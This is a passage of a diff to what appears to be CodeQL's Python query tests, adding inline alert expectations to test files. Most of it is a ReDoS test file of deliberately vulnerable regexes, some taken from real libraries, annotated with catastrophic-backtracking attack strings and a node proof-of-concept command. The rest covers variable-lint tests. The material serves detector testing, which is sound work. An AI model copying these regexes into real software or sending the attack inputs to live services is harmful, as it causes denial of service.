re.compile(r'''^(?:\s+(?:"(?:[^"\\]|\\\\|\\.)+"|'(?:[^'\\]|\\\\|\\.)+'|\((?:[^)\\]|\\\\|\\.)+\)))?''') # $ Alert # GOOD # Adapted from lulucms2 (https://github.com/yiifans/lulucms2). @@ -30,53 +30,53 @@ good3 = re.compile(r'''^ *(\S.*\|.*)\n *([-:]+ *\|[-| :]*)\n((?:.*\|.*(?:\n|$))*)\n*''') # NOT GOOD, variant of good3; attack: "a|\n:|\n" + "||\n".repeat(100) -bad4 = re.compile(r'''^ *(\S.*\|.*)\n *([-:]+ *\|[-| :]*)\n((?:.*\|.*(?:\n|$))*)a''') +bad4 = re.compile(r'''^ *(\S.*\|.*)\n *([-:]+ *\|[-| :]*)\n((?:.*\|.*(?:\n|$))*)a''') # $ Alert # NOT GOOD; attack: "/" + "\\/a".repeat(100) # Adapted from ANodeBlog (https://github.com/gefangshuai/ANodeBlog), # which is licensed under the Apache License 2.0; see file ANodeBlog-LICENSE. -bad5 = re.compile(r'''\/(?![ *])(\\\/|.)*?\/[gim]*(?=\W|$)''') +bad5 = re.compile(r'''\/(?![ *])(\\\/|.)*?\/[gim]*(?=\W|$)''') # $ Alert # NOT GOOD; attack: "##".repeat(100) + "\na" # Adapted from CodeMirror (https://github.com/codemirror/codemirror), # which is licensed under the MIT license; see file CodeMirror-LICENSE. -bad6 = re.compile(r'''^([\s\[\{\(]|#.*)*$''') +bad6 = re.compile(r'''^([\s\[\{\(]|#.*)*$''') # $ Alert # GOOD good4 = re.compile(r'''(\r\n|\r|\n)+''') # BAD - PoC: `node -e "/((?:[^\"\']|\".*?\"|\'.*?\')*?)([(,)]|$)/.test(\"'''''''''''''''''''''''''''''''''''''''''''''\\\"\");"`. It's complicated though, because the regexp still matches something, it just matches the empty-string after the attack string. -actuallyBad = re.compile(r'''((?:[^"']|".*?"|'.*?')*?)([(,)]|$)''') +actuallyBad = re.compile(r'''((?:[^"']|".*?"|'.*?')*?)([(,)]|$)''') # $ Alert # NOT GOOD; attack: "a" + "[]".repeat(100) + ".b\n" # Adapted from Knockout (https://github.com/knockout/knockout), which is # licensed under the MIT license; see file knockout-LICENSE -bad6 = re.compile(r'''^[\_$a-z][\_$a-z0-9]*(\[.*?\])*(\.[\_$a-z][\_$a-z0-9]*(\[.*?\])*)*$''') +bad6 = re.compile(r'''^[\_$a-z][\_$a-z0-9]*(\[.*?\])*(\.[\_$a-z][\_$a-z0-9]*(\[.*?\])*)*$''') # $ Alert # GOOD good6 = re.compile(r'''(a|.)*''') # Testing the NFA - only some of the below are detected. -bad7 = re.compile(r'''^([a-z]+)+$''') -bad8 = re.compile(r'''^([a-z]*)*$''') -bad9 = re.compile(r'''^([a-zA-Z0-9])(([\\-.]|[_]+)?([a-zA-Z0-9]+))*(@){1}[a-z0-9]+[.]{1}(([a-z]{2,3})|([a-z]{2,3}[.]{1}[a-z]{2,3}))$''') -bad10 = re.compile(r'''^(([a-z])+.)+[A-Z]([a-z])+$''') +bad7 = re.compile(r'''^([a-z]+)+$''') # $ Alert +bad8 = re.compile(r'''^([a-z]*)*$''') # $ Alert +bad9 = re.compile(r'''^([a-zA-Z0-9])(([\\-.]|[_]+)?([a-zA-Z0-9]+))*(@){1}[a-z0-9]+[.]{1}(([a-z]{2,3})|([a-z]{2,3}[.]{1}[a-z]{2,3}))$''') # $ Alert +bad10 = re.compile(r'''^(([a-z])+.)+[A-Z]([a-z])+$''') # $ Alert # NOT GOOD; attack: "[" + "][".repeat(100) + "]!" # Adapted from Prototype.js (https://github.com/prototypejs/prototype), which # is licensed under the MIT license; see file Prototype.js-LICENSE. -bad11 = re.compile(r'''(([\w#:.~>+()\s-]+|\*|\[.*?\])+)\s*(,|$)''') +bad11 = re.compile(r'''(([\w#:.~>+()\s-]+|\*|\[.*?\])+)\s*(,|$)''') # $ Alert # NOT GOOD; attack: "'" + "\\a".repeat(100) + '"' # Adapted from Prism (https://github.com/PrismJS/prism), which is licensed # under the MIT license; see file Prism-LICENSE. -bad12 = re.compile(r'''("|')(\\?.)*?\1''') +bad12 = re.compile(r'''("|')(\\?.)*?\1''') # $ Alert # NOT GOOD -bad13 = re.compile(r'''(b|a?b)*c''') +bad13 = re.compile(r'''(b|a?b)*c''') # $ Alert # NOT GOOD -bad15 = re.compile(r'''(a|aa?)*b''') +bad15 = re.compile(r'''(a|aa?)*b''') # $ Alert # GOOD good7 = re.compile(r'''(.|\n)*!''') @@ -88,31 +88,31 @@ good8 = re.compile(r'''([\w.]+)*''') # NOT GOOD -bad17 = re.compile(r'''(a|aa?)*b''') +bad17 = re.compile(r'''(a|aa?)*b''') # $ Alert # GOOD - not used as regexp good9 = '(a|aa?)*b' # NOT GOOD -bad18 = re.compile(r'''(([\s\S]|[^a])*)"''') +bad18 = re.compile(r'''(([\s\S]|[^a])*)"''') # $ Alert # GOOD - there is no witness in the end that could cause the regexp to not match good10 = re.compile(r'''([^"']+)*''') # NOT GOOD -bad20 = re.compile(r'''((.|[^a])*)"''') +bad20 = re.compile(r'''((.|[^a])*)"''') # $ Alert # GOOD good10 = re.compile(r'''((a|[^a])*)"''') # NOT GOOD -bad21 = re.compile(r'''((b|[^a])*)"''') +bad21 = re.compile(r'''((b|[^a])*)"''') # $ Alert # NOT GOOD -bad22 = re.compile(r'''((G|[^a])*)"''') +bad22 = re.compile(r'''((G|[^a])*)"''') # $ Alert # NOT GOOD -bad23 = re.compile(r'''(([0-9]|[^a])*)"''') +bad23 = re.compile(r'''(([0-9]|[^a])*)"''') # $ Alert # NOT GOOD bad24 = re.compile(r'''(?:=(?:([!#\$%&'\*\+\-\.\^_`\|~0-9A-Za-z]+)|"((?:\\[\x00-\x7f]|[^\x00-\x08\x0a-\x1f\x7f"])*)"))?''') @@ -124,55 +124,55 @@ bad26 = re.compile(r'''"((?:\\[\x00-\x7f]|[^\x00-\x08\x0a-\x1f\x7f"\\])*)"''') # NOT GOOD -bad27 = re.compile(r'''(([a-z]|[d-h])*)"''') +bad27 = re.compile(r'''(([a-z]|[d-h])*)"''') # $ Alert # NOT GOOD -bad27 = re.compile(r'''(([^a-z]|[^0-9])*)"''') +bad27 = re.compile(r'''(([^a-z]|[^0-9])*)"''') # $ Alert # NOT GOOD -bad28 = re.compile(r'''((\d|[0-9])*)"''') +bad28 = re.compile(r'''((\d|[0-9])*)"''') # $ Alert # NOT GOOD -bad29 = re.compile(r'''((\s|\s)*)"''') +bad29 = re.compile(r'''((\s|\s)*)"''') # $ Alert # NOT GOOD -bad30 = re.compile(r'''((\w|G)*)"''') +bad30 = re.compile(r'''((\w|G)*)"''') # $ Alert # GOOD good11 = re.compile(r'''((\s|\d)*)"''') # NOT GOOD -bad31 = re.compile(r'''((\d|\w)*)"''') +bad31 = re.compile(r'''((\d|\w)*)"''') # $ Alert # NOT GOOD -bad32 = re.compile(r'''((\d|5)*)"''') +bad32 = re.compile(r'''((\d|5)*)"''') # $ Alert # NOT GOOD -bad33 = re.compile(r'''((\s|[\f])*)"''') +bad33 = re.compile(r'''((\s|[\f])*)"''') # $ Alert # NOT GOOD -bad34 = re.compile(r'''((\s|[\v]|\\v)*)"''') +bad34 = re.compile(r'''((\s|[\v]|\\v)*)"''') # $ Alert # NOT GOOD -bad35 = re.compile(r'''((\f|[\f])*)"''') +bad35 = re.compile(r'''((\f|[\f])*)"''') # $ Alert # NOT GOOD -bad36 = re.compile(r'''((\W|\D)*)"''') +bad36 = re.compile(r'''((\W|\D)*)"''') # $ Alert # NOT GOOD -bad37 = re.compile(r'''((\S|\w)*)"''') +bad37 = re.compile(r'''((\S|\w)*)"''') # $ Alert # NOT GOOD -bad38 = re.compile(r'''((\S|[\w])*)"''') +bad38 = re.compile(r'''((\S|[\w])*)"''') # $ Alert # NOT GOOD -bad39 = re.compile(r'''((1s|[\da-z])*)"''') +bad39 = re.compile(r'''((1s|[\da-z])*)"''') # $ Alert # NOT GOOD -bad40 = re.compile(r'''((0|[\d])*)"''') +bad40 = re.compile(r'''((0|[\d])*)"''') # $ Alert # NOT GOOD -bad41 = re.compile(r'''(([\d]+)*)"''') +bad41 = re.compile(r'''(([\d]+)*)"''') # $ Alert # GOOD - there is no witness in the end that could cause the regexp to not match good12 = re.compile(r'''(\d+(X\d+)?)+''') @@ -184,49 +184,49 @@ good15 = re.compile(r'''^([^>]+)*(>|$)''') # NOT GOOD -bad43 = re.compile(r'''^([^>a]+)*(>|$)''') +bad43 = re.compile(r'''^([^>a]+)*(>|$)''') # $ Alert # NOT GOOD -bad44 = re.compile(r'''(\n\s*)+$''') +bad44 = re.compile(r'''(\n\s*)+$''') # $ Alert # NOT GOOD -bad45 = re.compile(r'''^(?:\s+|#.*|\(\?#[^)]*\))*(?:[?*+]|{\d+(?:,\d*)?})''') +bad45 = re.compile(r'''^(?:\s+|#.*|\(\?#[^)]*\))*(?:[?*+]|{\d+(?:,\d*)?})''') # $ Alert # NOT GOOD -bad46 = re.compile(r'''\{\[\s*([a-zA-Z]+)\(([a-zA-Z]+)\)((\s*([a-zA-Z]+)\: ?([ a-zA-Z{}]+),?)+)*\s*\]\}''') +bad46 = re.compile(r'''\{\[\s*([a-zA-Z]+)\(([a-zA-Z]+)\)((\s*([a-zA-Z]+)\: ?([ a-zA-Z{}]+),?)+)*\s*\]\}''') # $ Alert # NOT GOOD -bad47 = re.compile(r'''(a+|b+|c+)*c''') +bad47 = re.compile(r'''(a+|b+|c+)*c''') # $ Alert # NOT GOOD -bad48 = re.compile(r'''(((a+a?)*)+b+)''') +bad48 = re.compile(r'''(((a+a?)*)+b+)''') # $ Alert # NOT GOOD -bad49 = re.compile(r'''(a+)+bbbb''') +bad49 = re.compile(r'''(a+)+bbbb''') # $ Alert # GOOD good16 = re.compile(r'''(a+)+aaaaa*a+''') # NOT GOOD -bad50 = re.compile(r'''(a+)+aaaaa$''') +bad50 = re.compile(r'''(a+)+aaaaa$''') # $ Alert # GOOD good17 = re.compile(r'''(\n+)+\n\n''') # NOT GOOD -bad51 = re.compile(r'''(\n+)+\n\n$''') +bad51 = re.compile(r'''(\n+)+\n\n$''') # $ Alert # NOT GOOD -bad52 = re.compile(r'''([^X]+)*$''') +bad52 = re.compile(r'''([^X]+)*$''') # $ Alert # NOT GOOD -bad53 = re.compile(r'''(([^X]b)+)*$''') +bad53 = re.compile(r'''(([^X]b)+)*$''') # $ Alert # GOOD good18 = re.compile(r'''(([^X]b)+)*($|[^X]b)''') # NOT GOOD -bad54 = re.compile(r'''(([^X]b)+)*($|[^X]c)''') +bad54 = re.compile(r'''(([^X]b)+)*($|[^X]c)''') # $ Alert # GOOD good20 = re.compile(r'''((ab)+)*ababab''') @@ -238,13 +238,13 @@ good22 = re.compile(r'''((ab)+)*''') # NOT GOOD -bad55 = re.compile(r'''((ab)+)*$''') +bad55 = re.compile(r'''((ab)+)*$''') # $ Alert # GOOD good23 = re.compile(r'''((ab)+)*[a1][b1][a2][b2][a3][b3]''') # NOT GOOD -bad56 = re.compile(r'''([\n\s]+)*(.)''') +bad56 = re.compile(r'''([\n\s]+)*(.)''') # $ Alert # GOOD - any witness passes through the accept state. good24 = re.compile(r'''(A*A*X)*''') @@ -253,76 +253,76 @@ good26 = re.compile(r'''([^\\\]]+)*''') # NOT GOOD -bad59 = re.compile(r'''(\w*foobarbaz\w*foobarbaz\w*foobarbaz\w*foobarbaz\s*foobarbaz\d*foobarbaz\w*)+-''') +bad59 = re.compile(r'''(\w*foobarbaz\w*foobarbaz\w*foobarbaz\w*foobarbaz\s*foobarbaz\d*foobarbaz\w*)+-''') # $ Alert # NOT GOOD -bad60 = re.compile(r'''(.thisisagoddamnlongstringforstresstestingthequery|\sthisisagoddamnlongstringforstresstestingthequery)*-''') +bad60 = re.compile(r'''(.thisisagoddamnlongstringforstresstestingthequery|\sthisisagoddamnlongstringforstresstestingthequery)*-''') # $ Alert # NOT GOOD -bad61 = re.compile(r'''(thisisagoddamnlongstringforstresstestingthequery|this\w+query)*-''') +bad61 = re.compile(r'''(thisisagoddamnlongstringforstresstestingthequery|this\w+query)*-''') # $ Alert # GOOD good27 = re.compile(r'''(thisisagoddamnlongstringforstresstestingthequery|imanotherbutunrelatedstringcomparedtotheotherstring)*-''') # GOOD (but false positive caused by the extractor converting all four unpaired surrogates to \uFFFD) -good28 = re.compile('''foo([\uDC66\uDC67]|[\uDC68\uDC69])*foo''') +good28 = re.compile('''foo([\uDC66\uDC67]|[\uDC68\uDC69])*foo''') # $ Alert # GOOD (but false positive caused by the extractor converting all four unpaired surrogates to \uFFFD) -good29 = re.compile('''foo((\uDC66|\uDC67)|(\uDC68|\uDC69))*foo''') +good29 = re.compile('''foo((\uDC66|\uDC67)|(\uDC68|\uDC69))*foo''') # $ Alert # NOT GOOD (but cannot currently construct a prefix) -bad62 = re.compile(r'''a{2,3}(b+)+X''') +bad62 = re.compile(r'''a{2,3}(b+)+X''') # $ Alert # NOT GOOD (and a good prefix test) -bad63 = re.compile(r'''^<(\w+)((?:\s+\w+(?:\s*=\s*(?:(?:"[^"]*")|(?:'[^']*')|[^>\s]+))?)*)\s*(\/?)>''') +bad63 = re.compile(r'''^<(\w+)((?:\s+\w+(?:\s*=\s*(?:(?:"[^"]*")|(?:'[^']*')|[^>\s]+))?)*)\s*(\/?)>''') # $ Alert # GOOD good30 = re.compile(r'''(a+)*[\s\S][\s\S][\s\S]?''') # GOOD - but we fail to see that repeating the attack string ends in the "accept any" state (due to not parsing the range `[\s\S]{2,3}`). -good31 = re.compile(r'''(a+)*[\s\S]{2,3}''') +good31 = re.compile(r'''(a+)*[\s\S]{2,3}''') # $ Alert # GOOD - but we spuriously conclude that a rejecting suffix exists (due to not parsing the range `[\s\S]{2,}` when constructing the NFA). -good32 = re.compile(r'''(a+)*([\s\S]{2,}|X)$''') +good32 = re.compile(r'''(a+)*([\s\S]{2,}|X)$''') # $ Alert # GOOD good33 = re.compile(r'''(a+)*([\s\S]*|X)$''') # NOT GOOD -bad64 = re.compile(r'''((a+)*$|[\s\S]+)''') +bad64 = re.compile(r'''((a+)*$|[\s\S]+)''') # $ Alert # GOOD - but still flagged. The only change compared to the above is the order of alternatives, which we don't model. -good34 = re.compile(r'''([\s\S]+|(a+)*$)''') +good34 = re.compile(r'''([\s\S]+|(a+)*$)''') # $ Alert # GOOD good35 = re.compile(r'''((;|^)a+)+$''') # NOT GOOD (a good prefix test) -bad65 = re.compile(r'''(^|;)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(e+)+f''') +bad65 = re.compile(r'''(^|;)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(e+)+f''') # $ Alert # NOT GOOD -bad66 = re.compile(r'''^ab(c+)+$''') +bad66 = re.compile(r'''^ab(c+)+$''') # $ Alert # NOT GOOD -bad67 = re.compile(r'''(\d(\s+)*){20}''') +bad67 = re.compile(r'''(\d(\s+)*){20}''') # $ Alert # GOOD - but we spuriously conclude that a rejecting suffix exists. -good36 = re.compile(r'''(([^/]|X)+)(\/[\s\S]*)*$''') +good36 = re.compile(r'''(([^/]|X)+)(\/[\s\S]*)*$''') # $ Alert # GOOD - but we spuriously conclude that a rejecting suffix exists. -good37 = re.compile(r'''^((x([^Y]+)?)*(Y|$))''') +good37 = re.compile(r'''^((x([^Y]+)?)*(Y|$))''') # $ Alert # NOT GOOD -bad68 = re.compile(r'''(a*)+b''') +bad68 = re.compile(r'''(a*)+b''') # $ Alert # NOT GOOD -bad69 = re.compile(r'''foo([\w-]*)+bar''') +bad69 = re.compile(r'''foo([\w-]*)+bar''') # $ Alert # NOT GOOD -bad70 = re.compile(r'''((ab)*)+c''') +bad70 = re.compile(r'''((ab)*)+c''') # $ Alert # NOT GOOD -bad71 = re.compile(r'''(a?a?)*b''') +bad71 = re.compile(r'''(a?a?)*b''') # $ Alert # GOOD good38 = re.compile(r'''(a?)*b''') @@ -331,44 +331,44 @@ bad72 = re.compile(r'''(c?a?)*b''') # NOT GOOD -bad73 = re.compile(r'''(?:a|a?)+b''') +bad73 = re.compile(r'''(?:a|a?)+b''') # $ Alert # NOT GOOD - but not detected. bad74 = re.compile(r'''(a?b?)*$''') # NOT GOOD -bad76 = re.compile(r'''PRE(([a-c]|[c-d])T(e?e?e?e?|X))+(cTcT|cTXcTX$)''') +bad76 = re.compile(r'''PRE(([a-c]|[c-d])T(e?e?e?e?|X))+(cTcT|cTXcTX$)''') # $ Alert # NOT GOOD - but not detected -bad77 = re.compile(r'''^((a)+\w)+$''') +bad77 = re.compile(r'''^((a)+\w)+$''') # $ Alert # NOT GOOD -bad78 = re.compile(r'''^(b+.)+$''') +bad78 = re.compile(r'''^(b+.)+$''') # $ Alert # GOOD good39 = re.compile(r'''a*b''') # All 4 bad combinations of nested * and + -bad79 = re.compile(r'''(a*)*b''') -bad80 = re.compile(r'''(a+)*b''') -bad81 = re.compile(r'''(a*)+b''') -bad82 = re.compile(r'''(a+)+b''') +bad79 = re.compile(r'''(a*)*b''') # $ Alert +bad80 = re.compile(r'''(a+)*b''') # $ Alert +bad81 = re.compile(r'''(a*)+b''') # $ Alert +bad82 = re.compile(r'''(a+)+b''') # $ Alert # GOOD good40 = re.compile(r'''(a|b)+''') good41 = re.compile(r'''(?:[\s;,"'<>(){}|[\]@=+*]|:(?![/\\]))+''') # parses wrongly, sees column 42 as a char set start # NOT GOOD -bad83 = re.compile(r'''^((?:a{|-)|\w\{)+X$''') -bad84 = re.compile(r'''^((?:a{0|-)|\w\{\d)+X$''') -bad85 = re.compile(r'''^((?:a{0,|-)|\w\{\d,)+X$''') -bad86 = re.compile(r'''^((?:a{0,2|-)|\w\{\d,\d)+X$''') +bad83 = re.compile(r'''^((?:a{|-)|\w\{)+X$''') # $ Alert +bad84 = re.compile(r'''^((?:a{0|-)|\w\{\d)+X$''') # $ Alert +bad85 = re.compile(r'''^((?:a{0,|-)|\w\{\d,)+X$''') # $ Alert +bad86 = re.compile(r'''^((?:a{0,2|-)|\w\{\d,\d)+X$''') # $ Alert # GOOD: good42 = re.compile(r'''^((?:a{0,2}|-)|\w\{\d,\d\})+X$''') # NOT GOOD -bad87 = re.compile(r'X(\u0061|a)*Y') +bad87 = re.compile(r'X(\u0061|a)*Y') # $ Alert # GOOD good43 = re.compile(r'X(\u0061|b)+Y') @@ -377,17 +377,17 @@ good44 = re.compile(r'("[^"]*?"|[^"\s]+)+(?=\s*|\s*$)') # BAD -bad88 = re.compile(r'/("[^"]*?"|[^"\s]+)+(?=\s*|\s*$)X') -bad89 = re.compile(r'/("[^"]*?"|[^"\s]+)+(?=X)') +bad88 = re.compile(r'/("[^"]*?"|[^"\s]+)+(?=\s*|\s*$)X') # $ Alert +bad89 = re.compile(r'/("[^"]*?"|[^"\s]+)+(?=X)') # $ Alert # BAD -bad90 = re.compile(r'\A(\d|0)*x') -bad91 = re.compile(r'(\d|0)*\Z') -bad92 = re.compile(r'\b(\d|0)*x') +bad90 = re.compile(r'\A(\d|0)*x') # $ Alert +bad91 = re.compile(r'(\d|0)*\Z') # $ Alert +bad92 = re.compile(r'\b(\d|0)*x') # $ Alert # GOOD stress1 = re.compile(r"(? 2) - self.assertTrue(1 in [1]) - self.assertFalse(0 is "") + self.assertTrue(1 == 1) # $ Alert + self.assertFalse(1 > 2) # $ Alert + self.assertTrue(1 in [1]) # $ Alert + self.assertFalse(0 is "") # $ Alert diff --git a/python/ql/test/query-tests/Variables/general/Global.qlref b/python/ql/test/query-tests/Variables/general/Global.qlref index c20333a006e4..9b2b8470e10d 100644 --- a/python/ql/test/query-tests/Variables/general/Global.qlref +++ b/python/ql/test/query-tests/Variables/general/Global.qlref @@ -1 +1,2 @@ -Variables/Global.ql \ No newline at end of file +query: Variables/Global.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Variables/general/GlobalAtModuleLevel.qlref b/python/ql/test/query-tests/Variables/general/GlobalAtModuleLevel.qlref index f12469499b74..9c4da1043fd1 100644 --- a/python/ql/test/query-tests/Variables/general/GlobalAtModuleLevel.qlref +++ b/python/ql/test/query-tests/Variables/general/GlobalAtModuleLevel.qlref @@ -1 +1,2 @@ -Variables/GlobalAtModuleLevel.ql \ No newline at end of file +query: Variables/GlobalAtModuleLevel.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Variables/general/ShadowBuiltin.qlref b/python/ql/test/query-tests/Variables/general/ShadowBuiltin.qlref index d732a539e5ff..83d2543e7470 100644 --- a/python/ql/test/query-tests/Variables/general/ShadowBuiltin.qlref +++ b/python/ql/test/query-tests/Variables/general/ShadowBuiltin.qlref @@ -1 +1,2 @@ -Variables/ShadowBuiltin.ql +query: Variables/ShadowBuiltin.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Variables/general/ShadowGlobal.qlref b/python/ql/test/query-tests/Variables/general/ShadowGlobal.qlref index d3d632da035a..a7e7b3c4bad6 100644 --- a/python/ql/test/query-tests/Variables/general/ShadowGlobal.qlref +++ b/python/ql/test/query-tests/Variables/general/ShadowGlobal.qlref @@ -1 +1,2 @@ -Variables/ShadowGlobal.ql +query: Variables/ShadowGlobal.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Variables/general/variables_test.py b/python/ql/test/query-tests/Variables/general/variables_test.py index e623ee5244d6..8f11b9180c3b 100644 --- a/python/ql/test/query-tests/Variables/general/variables_test.py +++ b/python/ql/test/query-tests/Variables/general/variables_test.py @@ -4,14 +4,14 @@ #Shadow Builtin def sh1(x): - len = x + 2 #Shadows + len = x + 2 #Shadows # $ Alert[py/local-shadows-builtin] len = x + 0 # no shadowing warning for 2nd def return len #Shadow Global def sh2(x): - sh1 = x + 1 #Shadows + sh1 = x + 1 #Shadows # $ Alert[py/local-shadows-global] sh1 = x + 0 # no shadowing warning for 2nd def return sh1 @@ -54,14 +54,14 @@ def func(): return is_used_var2 #Redundant global declaration -global g_x +global g_x # $ Alert[py/redundant-global-declaration] g_x = 0 #Use global def uses_global(arg): - global g_x + global g_x # $ Alert[py/use-of-global] g_x = arg use(g_x) diff --git a/python/ql/test/query-tests/Variables/multiple/MultiplyDefined.qlref b/python/ql/test/query-tests/Variables/multiple/MultiplyDefined.qlref index 293098be566b..406acf779df9 100644 --- a/python/ql/test/query-tests/Variables/multiple/MultiplyDefined.qlref +++ b/python/ql/test/query-tests/Variables/multiple/MultiplyDefined.qlref @@ -1 +1,2 @@ -Variables/MultiplyDefined.ql +query: Variables/MultiplyDefined.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Variables/multiple/uselesscode_test.py b/python/ql/test/query-tests/Variables/multiple/uselesscode_test.py index 49f367d6db3e..fb3395d5806d 100644 --- a/python/ql/test/query-tests/Variables/multiple/uselesscode_test.py +++ b/python/ql/test/query-tests/Variables/multiple/uselesscode_test.py @@ -1,8 +1,8 @@ #Multiple declarations -def mult(a): - x = 1 +def mult(a): # $ Alert + x = 1 # $ Alert y = a x = 2 #Need to use x, otherwise it is ignored @@ -25,7 +25,7 @@ def _double_loop(seq): for i in seq: pass -class Mult(object): +class Mult(object): # $ Alert pass @@ -49,7 +49,7 @@ def isStr(s): # 'bad' actually *is* always redefined before being read. def have_nosmp(): try: - bad = os.environ['NPY_NOSMP'] + bad = os.environ['NPY_NOSMP'] # $ Alert bad = 1 except KeyError: bad = 0 @@ -64,7 +64,7 @@ def simple_try(foo): def try_with_else(foo): try: - bad = foo.bar + bad = foo.bar # $ Alert except AttributeError: raise else: @@ -114,7 +114,7 @@ def odasa4166(cond): def odasa5315(): x, y = foo() # OK as y is used use(y) - x, y = bar() # Not OK as neither x nor y are used. + x, y = bar() # Not OK as neither x nor y are used. # $ Alert x, y = baz() # OK as both used return x + y diff --git a/python/ql/test/query-tests/Variables/undefined/UndefinedExport.qlref b/python/ql/test/query-tests/Variables/undefined/UndefinedExport.qlref index 3e5d31e47488..d964148077e5 100644 --- a/python/ql/test/query-tests/Variables/undefined/UndefinedExport.qlref +++ b/python/ql/test/query-tests/Variables/undefined/UndefinedExport.qlref @@ -1 +1,2 @@ -Variables/UndefinedExport.ql +query: Variables/UndefinedExport.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Variables/undefined/UndefinedGlobal.py b/python/ql/test/query-tests/Variables/undefined/UndefinedGlobal.py index 0438d8e84b3c..0962a97ccfe2 100644 --- a/python/ql/test/query-tests/Variables/undefined/UndefinedGlobal.py +++ b/python/ql/test/query-tests/Variables/undefined/UndefinedGlobal.py @@ -19,12 +19,12 @@ def f(parameter): helper # Explicitly as import a # Imlicitly from ud_helper defined - ug2 # ERROR - e # ERROR Defined in ud_helper, but not in __all__ + ug2 # ERROR # $ Alert[py/undefined-global-variable] + e # ERROR Defined in ud_helper, but not in __all__ # $ Alert[py/undefined-global-variable] int float __file__ #OK all files have __file__ defined - __path__ #ERROR only modules have __path__ defined + __path__ #ERROR only modules have __path__ defined # $ Alert[py/undefined-global-variable] len #Ok defined in builtins monkey1 #Ok monkey-patched builtins @@ -120,7 +120,7 @@ def inner(): pfp3 += 1 def only_report_once(): - ug3 + ug3 # $ Alert[py/undefined-global-variable] ug3 ug3 ug3 diff --git a/python/ql/test/query-tests/Variables/undefined/UndefinedGlobal.qlref b/python/ql/test/query-tests/Variables/undefined/UndefinedGlobal.qlref index ea9f5a038426..e69631e746b9 100644 --- a/python/ql/test/query-tests/Variables/undefined/UndefinedGlobal.qlref +++ b/python/ql/test/query-tests/Variables/undefined/UndefinedGlobal.qlref @@ -1 +1,2 @@ -Variables/UndefinedGlobal.ql +query: Variables/UndefinedGlobal.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Variables/undefined/UninitializedLocal.py b/python/ql/test/query-tests/Variables/undefined/UninitializedLocal.py index 26e109af5a2a..24a09f1be336 100644 --- a/python/ql/test/query-tests/Variables/undefined/UninitializedLocal.py +++ b/python/ql/test/query-tests/Variables/undefined/UninitializedLocal.py @@ -2,7 +2,7 @@ class C: def m1(self): - y = ug1 + y = ug1 # $ Alert[py/undefined-global-variable] x = 1 return y @@ -10,16 +10,16 @@ def m2(self, p): return p def m3(self, x1): - return u2 + return u2 # $ Alert[py/uninitialized-local-variable] u2 = x1 def m4(self, x2): if x2: u3 = 1 - return u3 + return u3 # $ Alert[py/uninitialized-local-variable] def f(): - y = ug1 + y = ug1 # $ Alert[py/undefined-global-variable] x = 1 return y @@ -34,7 +34,7 @@ def h(): def j(u4): del u4 - return u4 + return u4 # $ Alert[py/uninitialized-local-variable] def k(x5): x5 + 1 @@ -43,7 +43,7 @@ def k(x5): def m(x6): if x6: u6 = 1 - u6 + u6 # $ Alert[py/uninitialized-local-variable] #The following are not uninitialized, but unreachable. u6 u6 @@ -66,13 +66,13 @@ def check_del(cond): del u8 else: pass - u8 + u8 # $ Alert[py/uninitialized-local-variable] if cond: u9 = 1 del u9 else: u9 = 2 - u9 + u9 # $ Alert[py/uninitialized-local-variable] if cond: x10 = 1 del x10 @@ -82,10 +82,10 @@ def check_del(cond): x10 u11 = 1 del u11 - u11 + u11 # $ Alert[py/uninitialized-local-variable] u12 = "hi" del u12 - del u12 + del u12 # $ Alert[py/uninitialized-local-variable] #x will always be defined. def const_range(): @@ -116,7 +116,7 @@ def use_def_conditional(cond4, cond5): u14 = 1 x16 = 2 if cond5: - return u14 + return u14 # $ Alert[py/uninitialized-local-variable] def init_and_set_flag_in_try(f): @@ -148,7 +148,7 @@ def split_not_OK(): except: cond = not False if not not cond: - return u19 + return u19 # $ Alert[py/uninitialized-local-variable] def double_is_none(x): if x is not None: @@ -160,7 +160,7 @@ def double_is_none(x): #ODASA-4241 def def_in_post_loop(seq): - j(x) + j(x) # $ Alert[py/uninitialized-local-variable] x = [] for p in seq: x = p @@ -173,9 +173,9 @@ def f(cond1, cond2): else: y = 1 if cond2: - return x + return x # $ Alert[py/uninitialized-local-variable] else: - return y + return y # $ Alert[py/uninitialized-local-variable] def needs_splitting(var): if var: diff --git a/python/ql/test/query-tests/Variables/undefined/UninitializedLocal.qlref b/python/ql/test/query-tests/Variables/undefined/UninitializedLocal.qlref index f2d0e603554a..90233ce61888 100644 --- a/python/ql/test/query-tests/Variables/undefined/UninitializedLocal.qlref +++ b/python/ql/test/query-tests/Variables/undefined/UninitializedLocal.qlref @@ -1 +1,2 @@ -Variables/UninitializedLocal.ql +query: Variables/UninitializedLocal.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Variables/undefined/decorated_exports.py b/python/ql/test/query-tests/Variables/undefined/decorated_exports.py index aad8e347909b..137807a0e004 100644 --- a/python/ql/test/query-tests/Variables/undefined/decorated_exports.py +++ b/python/ql/test/query-tests/Variables/undefined/decorated_exports.py @@ -1,16 +1,16 @@ import dotted -__all__ = ["foo", "bar", "baz", "not_defined"] +__all__ = ["foo", "bar", "baz", "not_defined"] # $ Alert[py/undefined-export] @dotted.decorator def foo(): pass -@undotted_decorator +@undotted_decorator # $ Alert[py/undefined-global-variable] def bar(): pass -@not_imported.but_dotted +@not_imported.but_dotted # $ Alert[py/undefined-global-variable] def baz(): pass diff --git a/python/ql/test/query-tests/Variables/undefined/exports.py b/python/ql/test/query-tests/Variables/undefined/exports.py index b12a501710c7..cb59cc6958d2 100644 --- a/python/ql/test/query-tests/Variables/undefined/exports.py +++ b/python/ql/test/query-tests/Variables/undefined/exports.py @@ -1,4 +1,4 @@ -__all__ = ["foo", "bar", "baz", "quux", 